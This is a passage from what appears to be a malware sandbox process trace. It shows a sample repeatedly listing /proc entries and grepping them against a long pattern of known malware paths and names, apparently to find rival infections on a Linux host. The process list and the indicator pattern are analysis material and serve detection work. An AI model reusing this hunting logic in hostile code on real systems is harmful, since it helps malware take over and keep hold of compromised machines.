  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1262
- /bin/grep
  grep exe
  2⤵
  PID:1266
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1265
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1269
- /bin/grep
  grep exe
  2⤵
  PID:1273
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1272
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1275
- /bin/grep
  grep exe
  2⤵
  PID:1279
- /bin/ls
  ls -latrh /proc/kcore
  2⤵
  PID:1278
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1282
- /bin/grep
  grep exe
  2⤵
  PID:1285
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1284
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1287
- /bin/grep
  grep exe
  2⤵
  PID:1291
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1290
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1294
- /bin/grep
  grep exe
  2⤵
  PID:1297
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1296
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1301
- /bin/grep
  grep exe
  2⤵
  PID:1304
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1303
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1307
- /bin/grep
  grep exe
  2⤵
  PID:1311
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1310
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1313
- /bin/grep
  grep exe
  2⤵
  PID:1317
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1316
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1320
- /bin/grep
  grep exe
  2⤵
  PID:1323
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1322
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1326
- /bin/grep
  grep exe
  2⤵
  PID:1330
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1329
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1332
- /bin/grep
  grep exe
  2⤵
  PID:1335
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1334
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1337
- /bin/grep
  grep exe
  2⤵
  PID:1340
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1339
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1342
- /bin/grep
  grep exe
  2⤵
  PID:1345
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1344
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1347
- /bin/grep
  grep exe
  2⤵
  PID:1350
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1349
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1352
- /bin/grep
  grep exe
  2⤵
  PID:1355
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1354
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1357
- /bin/grep
  grep exe
  2⤵
  PID:1360
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1359
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1362
- /bin/grep
  grep exe
  2⤵
  PID:1365
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1364
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1367
- /bin/grep
  grep exe
  2⤵
  PID:1370
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1369
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1372
- /bin/grep
  grep exe
  2⤵
  PID:1375
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1374
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1377
- /bin/grep
  grep exe
  2⤵
  PID:1380
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1379
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1382
- /bin/grep
  grep exe
  2⤵
  PID:1385
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1384
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1387
- /bin/grep
  grep exe
  2⤵
  PID:1390
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1389
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1392
- /bin/grep
  grep exe
  2⤵
  PID:1395
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1394
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1397
- /bin/grep
  grep exe
  2⤵
  PID:1400
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1399
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1402
- /bin/grep
  grep exe
  2⤵
  PID:1405
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1404
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1407
- /bin/grep
  grep exe
  2⤵
  PID:1410
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1409
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1412
- /bin/grep
  grep exe
  2⤵
  PID:1415
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1414
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1417
- /bin/grep
  grep exe
  2⤵
  PID:1420
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1419
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1422
- /bin/grep
  grep exe
  2⤵
  PID:1425
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1424
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1427
- /bin/grep
  grep exe
  2⤵
  PID:1430
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1429
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1432
- /bin/grep
  grep exe
  2⤵
  PID:1435
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1434
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1437
- /bin/grep
  grep exe
  2⤵
  PID:1440
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1439
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1442
- /bin/grep
  grep exe
  2⤵
  PID:1445
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1444
- /bin/grep
